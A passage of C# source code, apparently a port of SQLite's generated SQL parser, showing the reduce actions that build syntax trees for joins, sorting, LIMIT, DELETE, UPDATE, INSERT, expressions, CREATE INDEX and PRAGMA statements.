sqlite3SrcListShiftJoinType(yygotominor.yy65); } //#line 2569 "parse.c" break; case 131: /* stl_prefix ::= seltablist joinop */ //#line 491 "parse.y" { yygotominor.yy65 = yymsp[-1].minor.yy65; if (ALWAYS(yygotominor.yy65 != null && yygotominor.yy65.nSrc > 0)) yygotominor.yy65.a[yygotominor.yy65.nSrc - 1].jointype = (u8)yymsp[0].minor.yy328; } //#line 2577 "parse.c" break; case 132: /* stl_prefix ::= */ //#line 495 "parse.y" { yygotominor.yy65 = null; } //#line 2582 "parse.c" break; case 133: /* seltablist ::= stl_prefix nm dbnm as indexed_opt on_opt using_opt */ //#line 496 "parse.y" { yygotominor.yy65 = sqlite3SrcListAppendFromTerm(pParse, yymsp[-6].minor.yy65, yymsp[-5].minor.yy0, yymsp[-4].minor.yy0, yymsp[-3].minor.yy0, 0, yymsp[-1].minor.yy132, yymsp[0].minor.yy408); sqlite3SrcListIndexedBy(pParse, yygotominor.yy65, yymsp[-2].minor.yy0); } //#line 2590 "parse.c" break; case 134: /* seltablist ::= stl_prefix LP select RP as on_opt using_opt */ //#line 502 "parse.y" { yygotominor.yy65 = sqlite3SrcListAppendFromTerm(pParse, yymsp[-6].minor.yy65, 0, 0, yymsp[-2].minor.yy0, yymsp[-4].minor.yy3, yymsp[-1].minor.yy132, yymsp[0].minor.yy408); } //#line 2597 "parse.c" break; case 135: /* seltablist ::= stl_prefix LP seltablist RP as on_opt using_opt */ //#line 506 "parse.y" { if (yymsp[-6].minor.yy65 == null && yymsp[-2].minor.yy0.n == 0 && yymsp[-1].minor.yy132 == null && yymsp[0].minor.yy408 == null) { yygotominor.yy65 = yymsp[-4].minor.yy65; } else { Select pSubquery; sqlite3SrcListShiftJoinType(yymsp[-4].minor.yy65); pSubquery = sqlite3SelectNew(pParse, 0, yymsp[-4].minor.yy65, 0, 0, 0, 0, 0, 0, 0); yygotominor.yy65 = sqlite3SrcListAppendFromTerm(pParse, yymsp[-6].minor.yy65, 0, 0, yymsp[-2].minor.yy0, pSubquery, yymsp[-1].minor.yy132, yymsp[0].minor.yy408); } } //#line 2611 "parse.c" break; case 136: /* dbnm ::= */ case 145: /* indexed_opt ::= */ //yytestcase(yyruleno==145); //#line 531 "parse.y" { yygotominor.yy0.z = null; yygotominor.yy0.n = 0; } //#line 2617 "parse.c" break; case 138: /* fullname ::= nm dbnm */ //#line 536 "parse.y" { yygotominor.yy65 = sqlite3SrcListAppend(pParse.db, 0, yymsp[-1].minor.yy0, yymsp[0].minor.yy0); } //#line 2622 "parse.c" break; case 139: /* joinop ::= COMMA|JOIN */ //#line 540 "parse.y" { yygotominor.yy328 = JT_INNER; } //#line 2627 "parse.c" break; case 140: /* joinop ::= JOIN_KW JOIN */ //#line 541 "parse.y" { yygotominor.yy328 = sqlite3JoinType(pParse, yymsp[-1].minor.yy0, 0, 0); } //#line 2632 "parse.c" break; case 141: /* joinop ::= JOIN_KW nm JOIN */ //#line 542 "parse.y" { yygotominor.yy328 = sqlite3JoinType(pParse, yymsp[-2].minor.yy0, yymsp[-1].minor.yy0, 0); } //#line 2637 "parse.c" break; case 142: /* joinop ::= JOIN_KW nm nm JOIN */ //#line 544 "parse.y" { yygotominor.yy328 = sqlite3JoinType(pParse, yymsp[-3].minor.yy0, yymsp[-2].minor.yy0, yymsp[-1].minor.yy0); } //#line 2642 "parse.c" break; case 143: /* on_opt ::= ON expr */ case 154: /* sortitem ::= expr */ //yytestcase(yyruleno==154); case 161: /* having_opt ::= HAVING expr */ //yytestcase(yyruleno==161); case 168: /* where_opt ::= WHERE expr */ //yytestcase(yyruleno==168); case 235: /* case_else ::= ELSE expr */ //yytestcase(yyruleno==235); case 237: /* case_operand ::= expr */ //yytestcase(yyruleno==237); //#line 548 "parse.y" { yygotominor.yy132 = yymsp[0].minor.yy346.pExpr; } //#line 2652 "parse.c" break; case 144: /* on_opt ::= */ case 160: /* having_opt ::= */ //yytestcase(yyruleno==160); case 167: /* where_opt ::= */ //yytestcase(yyruleno==167); case 236: /* case_else ::= */ //yytestcase(yyruleno==236); case 238: /* case_operand ::= */ //yytestcase(yyruleno==238); //#line 549 "parse.y" { yygotominor.yy132 = null; } //#line 2661 "parse.c" break; case 147: /* indexed_opt ::= NOT INDEXED */ //#line 564 "parse.y" { yygotominor.yy0.z = null; yygotominor.yy0.n = 1; } //#line 2666 "parse.c" break; case 148: /* using_opt ::= USING LP inscollist RP */ case 180: /* inscollist_opt ::= LP inscollist RP */ //yytestcase(yyruleno==180); //#line 568 "parse.y" { yygotominor.yy408 = yymsp[-1].minor.yy408; } //#line 2672 "parse.c" break; case 149: /* using_opt ::= */ case 179: /* inscollist_opt ::= */ //yytestcase(yyruleno==179); //#line 569 "parse.y"null { yygotominor.yy408 = null; } //#line 2678 "parse.c" break; case 151: /* orderby_opt ::= ORDER BY sortlist */ case 159: /* groupby_opt ::= GROUP BY nexprlist */ //yytestcase(yyruleno==159); case 239: /* exprlist ::= nexprlist */ //yytestcase(yyruleno==239); //#line 580 "parse.y" { yygotominor.yy14 = yymsp[0].minor.yy14; } //#line 2685 "parse.c" break; case 152: /* sortlist ::= sortlist COMMA sortitem sortorder */ //#line 581 "parse.y" { yygotominor.yy14 = sqlite3ExprListAppend(pParse, yymsp[-3].minor.yy14, yymsp[-1].minor.yy132); if (yygotominor.yy14 != null) yygotominor.yy14.a[yygotominor.yy14.nExpr - 1].sortOrder = (u8)yymsp[0].minor.yy328; } //#line 2693 "parse.c" break; case 153: /* sortlist ::= sortitem sortorder */ //#line 585 "parse.y" { yygotominor.yy14 = sqlite3ExprListAppend(pParse, 0, yymsp[-1].minor.yy132); if (yygotominor.yy14 != null && ALWAYS(yygotominor.yy14.a)) yygotominor.yy14.a[0].sortOrder = (u8)yymsp[0].minor.yy328; } //#line 2701 "parse.c" break; case 155: /* sortorder ::= ASC */ case 157: /* sortorder ::= */ //yytestcase(yyruleno==157); //#line 593 "parse.y" { yygotominor.yy328 = SQLITE_SO_ASC; } //#line 2707 "parse.c" break; case 156: /* sortorder ::= DESC */ //#line 594 "parse.y" { yygotominor.yy328 = SQLITE_SO_DESC; } //#line 2712 "parse.c" break; case 162: /* limit_opt ::= */ //#line 620 "parse.y" { yygotominor.yy476.pLimit = null; yygotominor.yy476.pOffset = null; } //#line 2717 "parse.c" break; case 163: /* limit_opt ::= LIMIT expr */ //#line 621 "parse.y" { yygotominor.yy476.pLimit = yymsp[0].minor.yy346.pExpr; yygotominor.yy476.pOffset = null; } //#line 2722 "parse.c" break; case 164: /* limit_opt ::= LIMIT expr OFFSET expr */ //#line 623 "parse.y" { yygotominor.yy476.pLimit = yymsp[-2].minor.yy346.pExpr; yygotominor.yy476.pOffset = yymsp[0].minor.yy346.pExpr; } //#line 2727 "parse.c" break; case 165: /* limit_opt ::= LIMIT expr COMMA expr */ //#line 625 "parse.y" { yygotominor.yy476.pOffset = yymsp[-2].minor.yy346.pExpr; yygotominor.yy476.pLimit = yymsp[0].minor.yy346.pExpr; } //#line 2732 "parse.c" break; case 166: /* cmd ::= DELETE FROM fullname indexed_opt where_opt */ //#line 638 "parse.y" { sqlite3SrcListIndexedBy(pParse, yymsp[-2].minor.yy65, yymsp[-1].minor.yy0); sqlite3DeleteFrom(pParse, yymsp[-2].minor.yy65, yymsp[0].minor.yy132); } //#line 2740 "parse.c" break; case 169: /* cmd ::= UPDATE orconf fullname indexed_opt SET setlist where_opt */ //#line 661 "parse.y" { sqlite3SrcListIndexedBy(pParse, yymsp[-4].minor.yy65, yymsp[-3].minor.yy0); sqlite3ExprListCheckLength(pParse, yymsp[-1].minor.yy14, "set list"); sqlite3Update(pParse, yymsp[-4].minor.yy65, yymsp[-1].minor.yy14, yymsp[0].minor.yy132, yymsp[-5].minor.yy186); } //#line 2749 "parse.c" break; case 170: /* setlist ::= setlist COMMA nm EQ expr */ //#line 671 "parse.y" { yygotominor.yy14 = sqlite3ExprListAppend(pParse, yymsp[-4].minor.yy14, yymsp[0].minor.yy346.pExpr); sqlite3ExprListSetName(pParse, yygotominor.yy14, yymsp[-2].minor.yy0, 1); } //#line 2757 "parse.c" break; case 171: /* setlist ::= nm EQ expr */ //#line 675 "parse.y" { yygotominor.yy14 = sqlite3ExprListAppend(pParse, 0, yymsp[0].minor.yy346.pExpr); sqlite3ExprListSetName(pParse, yygotominor.yy14, yymsp[-2].minor.yy0, 1); } //#line 2765 "parse.c" break; case 172: /* cmd ::= insert_cmd INTO fullname inscollist_opt VALUES LP itemlist RP */ //#line 684 "parse.y" { sqlite3Insert(pParse, yymsp[-5].minor.yy65, yymsp[-1].minor.yy14, 0, yymsp[-4].minor.yy408, yymsp[-7].minor.yy186); } //#line 2770 "parse.c" break; case 173: /* cmd ::= insert_cmd INTO fullname inscollist_opt select */ //#line 686 "parse.y" { sqlite3Insert(pParse, yymsp[-2].minor.yy65, 0, yymsp[0].minor.yy3, yymsp[-1].minor.yy408, yymsp[-4].minor.yy186); } //#line 2775 "parse.c" break; case 174: /* cmd ::= insert_cmd INTO fullname inscollist_opt DEFAULT VALUES */ //#line 688 "parse.y" { sqlite3Insert(pParse, yymsp[-3].minor.yy65, 0, 0, yymsp[-2].minor.yy408, yymsp[-5].minor.yy186); } //#line 2780 "parse.c" break; case 175: /* insert_cmd ::= INSERT orconf */ //#line 691 "parse.y" { yygotominor.yy186 = yymsp[0].minor.yy186; } //#line 2785 "parse.c" break; case 176: /* insert_cmd ::= REPLACE */ //#line 692 "parse.y" { yygotominor.yy186 = OE_Replace; } //#line 2790 "parse.c" break; case 177: /* itemlist ::= itemlist COMMA expr */ case 241: /* nexprlist ::= nexprlist COMMA expr */ //yytestcase(yyruleno==241); //#line 699 "parse.y" { yygotominor.yy14 = sqlite3ExprListAppend(pParse, yymsp[-2].minor.yy14, yymsp[0].minor.yy346.pExpr); } //#line 2796 "parse.c" break; case 178: /* itemlist ::= expr */ case 242: /* nexprlist ::= expr */ //yytestcase(yyruleno==242); //#line 701 "parse.y" { yygotominor.yy14 = sqlite3ExprListAppend(pParse, 0, yymsp[0].minor.yy346.pExpr); } //#line 2802 "parse.c" break; case 181: /* inscollist ::= inscollist COMMA nm */ //#line 711 "parse.y" { yygotominor.yy408 = sqlite3IdListAppend(pParse.db, yymsp[-2].minor.yy408, yymsp[0].minor.yy0); } //#line 2807 "parse.c" break; case 182: /* inscollist ::= nm */ //#line 713 "parse.y" { yygotominor.yy408 = sqlite3IdListAppend(pParse.db, 0, yymsp[0].minor.yy0); } //#line 2812 "parse.c" break; case 183: /* expr ::= term */ case 211: /* escape ::= ESCAPE expr */ //yytestcase(yyruleno==211); //#line 744 "parse.y" { yygotominor.yy346 = yymsp[0].minor.yy346; } //#line 2818 "parse.c" break; case 184: /* expr ::= LP expr RP */ //#line 745 "parse.y" { yygotominor.yy346.pExpr = yymsp[-1].minor.yy346.pExpr; spanSet(yygotominor.yy346, yymsp[-2].minor.yy0, yymsp[0].minor.yy0); } //#line 2823 "parse.c" break; case 185: /* term ::= NULL */ case 190: /* term ::= INTEGER|FLOAT|BLOB */ //yytestcase(yyruleno==190); case 191: /* term ::= STRING */ //yytestcase(yyruleno==191); //#line 746 "parse.y" { spanExpr(yygotominor.yy346, pParse, yymsp[0].major, yymsp[0].minor.yy0); } //#line 2830 "parse.c" break; case 186: /* expr ::= id */ case 187: /* expr ::= JOIN_KW */ //yytestcase(yyruleno==187); //#line 747 "parse.y" { spanExpr(yygotominor.yy346, pParse, TK_ID, yymsp[0].minor.yy0); } //#line 2836 "parse.c" break; case 188: /* expr ::= nm DOT nm */ //#line 749 "parse.y" { Expr temp1 = sqlite3PExpr(pParse, TK_ID, 0, 0, yymsp[-2].minor.yy0); Expr temp2 = sqlite3PExpr(pParse, TK_ID, 0, 0, yymsp[0].minor.yy0); yygotominor.yy346.pExpr = sqlite3PExpr(pParse, TK_DOT, temp1, temp2, 0); spanSet(yygotominor.yy346, yymsp[-2].minor.yy0, yymsp[0].minor.yy0); } //#line 2846 "parse.c" break; case 189: /* expr ::= nm DOT nm DOT nm */ //#line 755 "parse.y" { Expr temp1 = sqlite3PExpr(pParse, TK_ID, 0, 0, yymsp[-4].minor.yy0); Expr temp2 = sqlite3PExpr(pParse, TK_ID, 0, 0, yymsp[-2].minor.yy0); Expr temp3 = sqlite3PExpr(pParse, TK_ID, 0, 0, yymsp[0].minor.yy0); Expr temp4 = sqlite3PExpr(pParse, TK_DOT, temp2, temp3, 0); yygotominor.yy346.pExpr = sqlite3PExpr(pParse, TK_DOT, temp1, temp4, 0); spanSet(yygotominor.yy346, yymsp[-4].minor.yy0, yymsp[0].minor.yy0); } //#line 2858 "parse.c" break; case 192: /* expr ::= REGISTER */ //#line 765 "parse.y" { /* When doing a nested parse, one can include terms in an expression ** that look like this: #1 #2 ... These terms refer to registers ** in the virtual machine. #N is the N-th register. */ if (pParse.nested == 0) { sqlite3ErrorMsg(pParse, "near \"%T\": syntax error", yymsp[0].minor.yy0); yygotominor.yy346.pExpr = null; } else { yygotominor.yy346.pExpr = sqlite3PExpr(pParse, TK_REGISTER, 0, 0, yymsp[0].minor.yy0); if (yygotominor.yy346.pExpr != null) sqlite3GetInt32(yymsp[0].minor.yy0.z.Substring(1), ref yygotominor.yy346.pExpr.iTable); } spanSet(yygotominor.yy346, yymsp[0].minor.yy0, yymsp[0].minor.yy0); } //#line 2875 "parse.c" break; case 193: /* expr ::= VARIABLE */ //#line 778 "parse.y" { spanExpr(yygotominor.yy346, pParse, TK_VARIABLE, yymsp[0].minor.yy0); sqlite3ExprAssignVarNumber(pParse, yygotominor.yy346.pExpr); spanSet(yygotominor.yy346, yymsp[0].minor.yy0, yymsp[0].minor.yy0); } //#line 2884 "parse.c" break; case 194: /* expr ::= expr COLLATE ids */ //#line 783 "parse.y" { yygotominor.yy346.pExpr = sqlite3ExprSetColl(pParse, yymsp[-2].minor.yy346.pExpr, yymsp[0].minor.yy0); yygotominor.yy346.zStart = yymsp[-2].minor.yy346.zStart; yygotominor.yy346.zEnd = yymsp[0].minor.yy0.z.Substring(yymsp[0].minor.yy0.n); } //#line 2893 "parse.c" break; case 195: /* expr ::= CAST LP expr AS typetoken RP */ //#line 789 "parse.y" { yygotominor.yy346.pExpr = sqlite3PExpr(pParse, TK_CAST, yymsp[-3].minor.yy346.pExpr, 0, yymsp[-1].minor.yy0); spanSet(yygotominor.yy346, yymsp[-5].minor.yy0, yymsp[0].minor.yy0); } //#line 2901 "parse.c" break; case 196: /* expr ::= ID LP distinct exprlist RP */ //#line 794 "parse.y" { if (yymsp[-1].minor.yy14 != null && yymsp[-1].minor.yy14.nExpr > pParse.db.aLimit[SQLITE_LIMIT_FUNCTION_ARG]) { sqlite3ErrorMsg(pParse, "too many arguments on function %T", yymsp[-4].minor.yy0); } yygotominor.yy346.pExpr = sqlite3ExprFunction(pParse, yymsp[-1].minor.yy14, yymsp[-4].minor.yy0); spanSet(yygotominor.yy346, yymsp[-4].minor.yy0, yymsp[0].minor.yy0); if (yymsp[-2].minor.yy328 != 0 && yygotominor.yy346.pExpr != null) { yygotominor.yy346.pExpr.flags |= EP_Distinct; } } //#line 2915 "parse.c" break; case 197: /* expr ::= ID LP STAR RP */ //#line 804 "parse.y" { yygotominor.yy346.pExpr = sqlite3ExprFunction(pParse, 0, yymsp[-3].minor.yy0); spanSet(yygotominor.yy346, yymsp[-3].minor.yy0, yymsp[0].minor.yy0); } //#line 2923 "parse.c" break; case 198: /* term ::= CTIME_KW */ //#line 808 "parse.y" { /* The CURRENT_TIME, CURRENT_DATE, and CURRENT_TIMESTAMP values are ** treated as functions that return constants */ yygotominor.yy346.pExpr = sqlite3ExprFunction(pParse, 0, yymsp[0].minor.yy0); if (yygotominor.yy346.pExpr != null) { yygotominor.yy346.pExpr.op = TK_CONST_FUNC; } spanSet(yygotominor.yy346, yymsp[0].minor.yy0, yymsp[0].minor.yy0); } //#line 2936 "parse.c" break; case 199: /* expr ::= expr AND expr */ case 200: /* expr ::= expr OR expr */ //yytestcase(yyruleno==200); case 201: /* expr ::= expr LT|GT|GE|LE expr */ //yytestcase(yyruleno==201); case 202: /* expr ::= expr EQ|NE expr */ //yytestcase(yyruleno==202); case 203: /* expr ::= expr BITAND|BITOR|LSHIFT|RSHIFT expr */ //yytestcase(yyruleno==203); case 204: /* expr ::= expr PLUS|MINUS expr */ //yytestcase(yyruleno==204); case 205: /* expr ::= expr STAR|SLASH|REM expr */ //yytestcase(yyruleno==205); case 206: /* expr ::= expr CONCAT expr */ //yytestcase(yyruleno==206); //#line 835 "parse.y" { spanBinaryExpr(yygotominor.yy346, pParse, yymsp[-1].major, yymsp[-2].minor.yy346, yymsp[0].minor.yy346); } //#line 2948 "parse.c" break; case 207: /* likeop ::= LIKE_KW */ case 209: /* likeop ::= MATCH */ //yytestcase(yyruleno==209); //#line 848 "parse.y" { yygotominor.yy96.eOperator = yymsp[0].minor.yy0; yygotominor.yy96.not = false; } //#line 2954 "parse.c" break; case 208: /* likeop ::= NOT LIKE_KW */ case 210: /* likeop ::= NOT MATCH */ //yytestcase(yyruleno==210); //#line 849 "parse.y" { yygotominor.yy96.eOperator = yymsp[0].minor.yy0; yygotominor.yy96.not = true; } //#line 2960 "parse.c" break; case 212: /* escape ::= */ //#line 855 "parse.y" { yygotominor.yy346 = new ExprSpan(); }// memset( yygotominor.yy346, 0, sizeof( yygotominor.yy346 ) ); //#line 2965 "parse.c" break; case 213: /* expr ::= expr likeop expr escape */ //#line 856 "parse.y" { ExprList pList; pList = sqlite3ExprListAppend(pParse, 0, yymsp[-1].minor.yy346.pExpr); pList = sqlite3ExprListAppend(pParse, pList, yymsp[-3].minor.yy346.pExpr); if (yymsp[0].minor.yy346.pExpr != null) { pList = sqlite3ExprListAppend(pParse, pList, yymsp[0].minor.yy346.pExpr); } yygotominor.yy346.pExpr = sqlite3ExprFunction(pParse, pList, yymsp[-2].minor.yy96.eOperator); if (yymsp[-2].minor.yy96.not) yygotominor.yy346.pExpr = sqlite3PExpr(pParse, TK_NOT, yygotominor.yy346.pExpr, 0, 0); yygotominor.yy346.zStart = yymsp[-3].minor.yy346.zStart; yygotominor.yy346.zEnd = yymsp[-1].minor.yy346.zEnd; if (yygotominor.yy346.pExpr != null) yygotominor.yy346.pExpr.flags |= EP_InfixFunc; } //#line 2982 "parse.c" break; case 214: /* expr ::= expr ISNULL|NOTNULL */ //#line 886 "parse.y" { spanUnaryPostfix(yygotominor.yy346, pParse, yymsp[0].major, yymsp[-1].minor.yy346, yymsp[0].minor.yy0); } //#line 2987 "parse.c" break; case 215: /* expr ::= expr IS NULL */ //#line 887 "parse.y" { spanUnaryPostfix(yygotominor.yy346, pParse, TK_ISNULL, yymsp[-2].minor.yy346, yymsp[0].minor.yy0); } //#line 2992 "parse.c" break; case 216: /* expr ::= expr NOT NULL */ //#line 888 "parse.y" { spanUnaryPostfix(yygotominor.yy346, pParse, TK_NOTNULL, yymsp[-2].minor.yy346, yymsp[0].minor.yy0); } //#line 2997 "parse.c" break; case 217: /* expr ::= expr IS NOT NULL */ //#line 890 "parse.y" { spanUnaryPostfix(yygotominor.yy346, pParse, TK_NOTNULL, yymsp[-3].minor.yy346, yymsp[0].minor.yy0); } //#line 3002 "parse.c" break; case 218: /* expr ::= NOT expr */ case 219: /* expr ::= BITNOT expr */ //yytestcase(yyruleno==219); //#line 910 "parse.y" { spanUnaryPrefix(yygotominor.yy346, pParse, yymsp[-1].major, yymsp[0].minor.yy346, yymsp[-1].minor.yy0); } //#line 3008 "parse.c" break; case 220: /* expr ::= MINUS expr */ //#line 913 "parse.y" { spanUnaryPrefix(yygotominor.yy346, pParse, TK_UMINUS, yymsp[0].minor.yy346, yymsp[-1].minor.yy0); } //#line 3013 "parse.c" break; case 221: /* expr ::= PLUS expr */ //#line 915 "parse.y" { spanUnaryPrefix(yygotominor.yy346, pParse, TK_UPLUS, yymsp[0].minor.yy346, yymsp[-1].minor.yy0); } //#line 3018 "parse.c" break; case 224: /* expr ::= expr between_op expr AND expr */ //#line 920 "parse.y" { ExprList pList = sqlite3ExprListAppend(pParse, 0, yymsp[-2].minor.yy346.pExpr); pList = sqlite3ExprListAppend(pParse, pList, yymsp[0].minor.yy346.pExpr); yygotominor.yy346.pExpr = sqlite3PExpr(pParse, TK_BETWEEN, yymsp[-4].minor.yy346.pExpr, 0, 0); if (yygotominor.yy346.pExpr != null) { yygotominor.yy346.pExpr.x.pList = pList; } else { sqlite3ExprListDelete(pParse.db, ref pList); } if (yymsp[-3].minor.yy328 != 0) yygotominor.yy346.pExpr = sqlite3PExpr(pParse, TK_NOT, yygotominor.yy346.pExpr, 0, 0); yygotominor.yy346.zStart = yymsp[-4].minor.yy346.zStart; yygotominor.yy346.zEnd = yymsp[0].minor.yy346.zEnd; } //#line 3035 "parse.c" break; case 227: /* expr ::= expr in_op LP exprlist RP */ //#line 937 "parse.y" { yygotominor.yy346.pExpr = sqlite3PExpr(pParse, TK_IN, yymsp[-4].minor.yy346.pExpr, 0, 0); if (yygotominor.yy346.pExpr != null) { yygotominor.yy346.pExpr.x.pList = yymsp[-1].minor.yy14; sqlite3ExprSetHeight(pParse, yygotominor.yy346.pExpr); } else { sqlite3ExprListDelete(pParse.db, ref yymsp[-1].minor.yy14); } if (yymsp[-3].minor.yy328 != 0) yygotominor.yy346.pExpr = sqlite3PExpr(pParse, TK_NOT, yygotominor.yy346.pExpr, 0, 0); yygotominor.yy346.zStart = yymsp[-4].minor.yy346.zStart; yygotominor.yy346.zEnd = yymsp[0].minor.yy0.z.Substring(yymsp[0].minor.yy0.n); } //#line 3051 "parse.c" break; case 228: /* expr ::= LP select RP */ //#line 949 "parse.y" { yygotominor.yy346.pExpr = sqlite3PExpr(pParse, TK_SELECT, 0, 0, 0); if (yygotominor.yy346.pExpr != null) { yygotominor.yy346.pExpr.x.pSelect = yymsp[-1].minor.yy3; ExprSetProperty(yygotominor.yy346.pExpr, EP_xIsSelect); sqlite3ExprSetHeight(pParse, yygotominor.yy346.pExpr); } else { sqlite3SelectDelete(pParse.db, ref yymsp[-1].minor.yy3); } yygotominor.yy346.zStart = yymsp[-2].minor.yy0.z; yygotominor.yy346.zEnd = yymsp[0].minor.yy0.z.Substring(yymsp[0].minor.yy0.n); } //#line 3067 "parse.c" break; case 229: /* expr ::= expr in_op LP select RP */ //#line 961 "parse.y" { yygotominor.yy346.pExpr = sqlite3PExpr(pParse, TK_IN, yymsp[-4].minor.yy346.pExpr, 0, 0); if (yygotominor.yy346.pExpr != null) { yygotominor.yy346.pExpr.x.pSelect = yymsp[-1].minor.yy3; ExprSetProperty(yygotominor.yy346.pExpr, EP_xIsSelect); sqlite3ExprSetHeight(pParse, yygotominor.yy346.pExpr); } else { sqlite3SelectDelete(pParse.db, ref yymsp[-1].minor.yy3); } if (yymsp[-3].minor.yy328 != 0) yygotominor.yy346.pExpr = sqlite3PExpr(pParse, TK_NOT, yygotominor.yy346.pExpr, 0, 0); yygotominor.yy346.zStart = yymsp[-4].minor.yy346.zStart; yygotominor.yy346.zEnd = yymsp[0].minor.yy0.z.Substring(yymsp[0].minor.yy0.n); } //#line 3084 "parse.c" break; case 230: /* expr ::= expr in_op nm dbnm */ //#line 974 "parse.y" { SrcList pSrc = sqlite3SrcListAppend(pParse.db, 0, yymsp[-1].minor.yy0, yymsp[0].minor.yy0); yygotominor.yy346.pExpr = sqlite3PExpr(pParse, TK_IN, yymsp[-3].minor.yy346.pExpr, 0, 0); if (yygotominor.yy346.pExpr != null) { yygotominor.yy346.pExpr.x.pSelect = sqlite3SelectNew(pParse, 0, pSrc, 0, 0, 0, 0, 0, 0, 0); ExprSetProperty(yygotominor.yy346.pExpr, EP_xIsSelect); sqlite3ExprSetHeight(pParse, yygotominor.yy346.pExpr); } else { sqlite3SrcListDelete(pParse.db, ref pSrc); } if (yymsp[-2].minor.yy328 != 0) yygotominor.yy346.pExpr = sqlite3PExpr(pParse, TK_NOT, yygotominor.yy346.pExpr, 0, 0); yygotominor.yy346.zStart = yymsp[-3].minor.yy346.zStart; yygotominor.yy346.zEnd = yymsp[0].minor.yy0.z != null ? yymsp[0].minor.yy0.z.Substring(yymsp[0].minor.yy0.n) : yymsp[-1].minor.yy0.z.Substring(yymsp[-1].minor.yy0.n); } //#line 3102 "parse.c" break; case 231: /* expr ::= EXISTS LP select RP */ //#line 988 "parse.y" { Expr p = yygotominor.yy346.pExpr = sqlite3PExpr(pParse, TK_EXISTS, 0, 0, 0); if (p != null) { p.x.pSelect = yymsp[-1].minor.yy3; ExprSetProperty(p, EP_xIsSelect); sqlite3ExprSetHeight(pParse, p); } else { sqlite3SelectDelete(pParse.db, ref yymsp[-1].minor.yy3); } yygotominor.yy346.zStart = yymsp[-3].minor.yy0.z; yygotominor.yy346.zEnd = yymsp[0].minor.yy0.z.Substring(yymsp[0].minor.yy0.n); } //#line 3118 "parse.c" break; case 232: /* expr ::= CASE case_operand case_exprlist case_else END */ //#line 1003 "parse.y" { yygotominor.yy346.pExpr = sqlite3PExpr(pParse, TK_CASE, yymsp[-3].minor.yy132, yymsp[-1].minor.yy132, 0); if (yygotominor.yy346.pExpr != null) { yygotominor.yy346.pExpr.x.pList = yymsp[-2].minor.yy14; sqlite3ExprSetHeight(pParse, yygotominor.yy346.pExpr); } else { sqlite3ExprListDelete(pParse.db, ref yymsp[-2].minor.yy14); } yygotominor.yy346.zStart = yymsp[-4].minor.yy0.z; yygotominor.yy346.zEnd = yymsp[0].minor.yy0.z.Substring(yymsp[0].minor.yy0.n); } //#line 3133 "parse.c" break; case 233: /* case_exprlist ::= case_exprlist WHEN expr THEN expr */ //#line 1016 "parse.y" { yygotominor.yy14 = sqlite3ExprListAppend(pParse, yymsp[-4].minor.yy14, yymsp[-2].minor.yy346.pExpr); yygotominor.yy14 = sqlite3ExprListAppend(pParse, yygotominor.yy14, yymsp[0].minor.yy346.pExpr); } //#line 3141 "parse.c" break; case 234: /* case_exprlist ::= WHEN expr THEN expr */ //#line 1020 "parse.y" { yygotominor.yy14 = sqlite3ExprListAppend(pParse, 0, yymsp[-2].minor.yy346.pExpr); yygotominor.yy14 = sqlite3ExprListAppend(pParse, yygotominor.yy14, yymsp[0].minor.yy346.pExpr); } //#line 3149 "parse.c" break; case 243: /* cmd ::= createkw uniqueflag INDEX ifnotexists nm dbnm ON nm LP idxlist RP */ //#line 1049 "parse.y" { sqlite3CreateIndex(pParse, yymsp[-6].minor.yy0, yymsp[-5].minor.yy0, sqlite3SrcListAppend(pParse.db, 0, yymsp[-3].minor.yy0, 0), yymsp[-1].minor.yy14, yymsp[-9].minor.yy328, yymsp[-10].minor.yy0, yymsp[0].minor.yy0, SQLITE_SO_ASC, yymsp[-7].minor.yy328); } //#line 3158 "parse.c" break; case 244: /* uniqueflag ::= UNIQUE */ case 298: /* raisetype ::= ABORT */ //yytestcase(yyruleno==298); //#line 1056 "parse.y" { yygotominor.yy328 = OE_Abort; } //#line 3164 "parse.c" break; case 245: /* uniqueflag ::= */ //#line 1057 "parse.y" { yygotominor.yy328 = OE_None; } //#line 3169 "parse.c" break; case 248: /* idxlist ::= idxlist COMMA nm collate sortorder */ //#line 1066 "parse.y" { Expr p = null; if (yymsp[-1].minor.yy0.n > 0) { p = sqlite3Expr(pParse.db, TK_COLUMN, null); sqlite3ExprSetColl(pParse, p, yymsp[-1].minor.yy0); } yygotominor.yy14 = sqlite3ExprListAppend(pParse, yymsp[-4].minor.yy14, p); sqlite3ExprListSetName(pParse, yygotominor.yy14, yymsp[-2].minor.yy0, 1); sqlite3ExprListCheckLength(pParse, yygotominor.yy14, "index"); if (yygotominor.yy14 != null) yygotominor.yy14.a[yygotominor.yy14.nExpr - 1].sortOrder = (u8)yymsp[0].minor.yy328; } //#line 3184 "parse.c" break; case 249: /* idxlist ::= nm collate sortorder */ //#line 1077 "parse.y" { Expr p = null; if (yymsp[-1].minor.yy0.n > 0) { p = sqlite3PExpr(pParse, TK_COLUMN, 0, 0, 0); sqlite3ExprSetColl(pParse, p, yymsp[-1].minor.yy0); } yygotominor.yy14 = sqlite3ExprListAppend(pParse, 0, p); sqlite3ExprListSetName(pParse, yygotominor.yy14, yymsp[-2].minor.yy0, 1); sqlite3ExprListCheckLength(pParse, yygotominor.yy14, "index"); if (yygotominor.yy14 != null) yygotominor.yy14.a[yygotominor.yy14.nExpr - 1].sortOrder = (u8)yymsp[0].minor.yy328; } //#line 3199 "parse.c" break; case 250: /* collate ::= */ //#line 1090 "parse.y" { yygotominor.yy0.z = null; yygotominor.yy0.n = 0; } //#line 3204 "parse.c" break; case 252: /* cmd ::= DROP INDEX ifexists fullname */ //#line 1096 "parse.y" { sqlite3DropIndex(pParse, yymsp[0].minor.yy65, yymsp[-1].minor.yy328); } //#line 3209 "parse.c" break; case 253: /* cmd ::= VACUUM */ case 254: /* cmd ::= VACUUM nm */ //yytestcase(yyruleno==254); //#line 1102 "parse.y" { sqlite3Vacuum(pParse); } //#line 3215 "parse.c" break; case 255: /* cmd ::= PRAGMA nm dbnm */ //#line 1110 "parse.y" { sqlite3Pragma(pParse, yymsp[-1].minor.yy0, yymsp[0].minor.yy0, 0, 0); } //#line 3220 "parse.c" break; case 256: /* cmd ::= PRAGMA nm dbnm EQ nmnum */ //#line 1111 "parse.y" { sqlite3Pragma(pParse, yymsp[-3].minor.yy0, yymsp[-2].minor.yy0, yymsp[0].minor.yy0, 0); } //#line 3225 "parse.c" break; case 257: /* cmd ::= PRAGMA nm dbnm LP nmnum RP */ //#line 1112 "parse.y" { sqlite3Pragma(pParse, yymsp[-4].minor.yy0, yymsp[-3].minor.yy0, yymsp[-1].minor.yy0, 0); } //#line 3230 "parse.c" break; case 258: /* cmd ::= PRAGMA nm dbnm EQ minus_num */ 